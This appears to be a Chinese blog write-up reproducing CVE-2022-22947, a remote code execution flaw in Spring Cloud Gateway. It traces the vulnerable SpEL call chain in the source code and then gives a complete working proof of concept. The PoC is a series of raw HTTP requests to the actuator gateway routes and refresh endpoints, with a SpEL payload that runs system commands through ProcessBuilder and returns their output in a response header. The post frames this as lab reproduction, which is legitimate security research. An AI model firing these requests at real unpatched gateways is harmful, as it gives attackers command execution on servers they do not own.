• CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现


    0 环境搭建

    影响范围:

    Spring Cloud Gateway 3.1.x < 3.1.1

    Spring Cloud Gateway < 3.0.7

    p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

    也可以本地搭建

    git clone https://github.com/spring-cloud/spring-cloud-gateway
    cd spring-cloud-gateway
    git checkout v3.1.0
    然后idea打开项目,再调试或启动
    

    1 漏洞触发点

    首先找到spring-cloud-gateway的commit记录,看看修改的地方,直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

    如下:

    非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置

    三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中,且重写了不同的normalize方法,继续向上找ShortcutType#normalize方法的调用

    最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,并且传入的时该类的properties成员变量,而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中

    继续向上寻找bind方法的调用

    发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不仅出现了bind方法调用,还出现了properties方法调用,跟进该properties方法可见对properties成员变量的设置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下调用spel表达式时恰好需要的properties成员变量。

    由此即可知道该漏洞的触发可能来自于gatewayFilter的添加,并且从loadGatewayFilters方法继续向上跟踪调用如下:

    RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route
    

    也可以看到确实来自于filter的添加。

    所以思路可以出来,由于添加filter时输入了spel表达式,被当作properties进行解析,最终导致恶意表达式被执行,从而实现rce。

    再从spring cloud gateway的文档进行查看

    文档的11.5中提到,使用POST请求/gateway/routes/id 并使用json格式的数据,可以创建一个route,并且从前面的格式中也可以看到,支持添加filter。

    但没有给出filters字段中具体应该怎么写,但没关系,我们从源代码可以找到

    org.springframework.cloud.gateway.filter.FilterDefinition这个filter的定义类中,其成员变量如下

    运行程序后,再mappings里面可以看到/routes/{id}这个uri对应的方法

    跟进该方法可以看到对filter给进的name有验证

    调试模型下可以看到允许的name如下

    这里的每种name,实际上又对应了不同的GatewayFilterFactory

    其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果,因此恰好满足回显要求

    根据这里的getName和getValue可以知道还需要添加name和value字段

    2 构建poc

    根据前面的信息,可以逐步汇总出poc的样子,

    • 首先是POST /actuator/gateway/routes/{id}
    • 然后添加json body,其中需要给出id和filters字段
    • 其中filters字段需要给出name和args,而name的值需要设置为AddResponseHeader获得回显,args中需要name和value

    最终poc如下

    • post请求创建route和filter
    POST /actuator/gateway/routes/test HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    Content-Type: application/json
    Content-Length: 329
    
    {
      "id": "test",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result=",
          "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
        }
      }],
       "uri": "http://test.com"
    }
    

    • POST请求/refresh,使新建的uri和filter生效
    POST /actuator/gateway/refresh HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    
    
    

    由于前面使用的spel是ping百度的,所以需要等待一会,也可以换成其它命令,比如dir、ipconfig、whoami等

    • GET请求/actuator/gateway/routes/test,触发spel,并得到回显
    GET /actuator/gateway/routes/test HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    

    得到ping命令的输出

    • DELETE请求删除/actuator/gateway/routes/test
    GET /actuator/gateway/routes/test HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    

    3 总结

    昨天在twitter上看到了这个rce,没有太注意,昨天晚上看到通报,感觉这个洞还是有价值的,想着今天来复现应该差不多,结果P牛昨天就把docker上传到vulhub了,y4er师傅也写出了分析文章,跟不上啊= =

    p牛和y4er师傅用的是spring自带的类处理命令执行的返回字节流,我用的是之前找到的jdk自带方法,其实都差不多

    参考

    https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

    https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/

  • 相关阅读:
    快速理解二分查找算法,附java代码实现
    springboot实验室自主预约系统毕业设计源码111953
    电脑改时间导致的路由器网络问题
    12.Gateway新一代网关
    Vue3+Typescript+Axios封装网络请求
    《工程电磁场导论》课后习题附答案
    ubuntu2023装完显卡驱动和CUDA CUDNN开机只有下划线闪烁
    DBRichEdit关联ClientDataSet不能保存的Bug
    pdf.js引入方式及初始化配置
    【最终版】tkinter+matplotlib实现一个强大的绘图系统
  • 原文地址:https://www.cnblogs.com/bitterz/p/15964852.html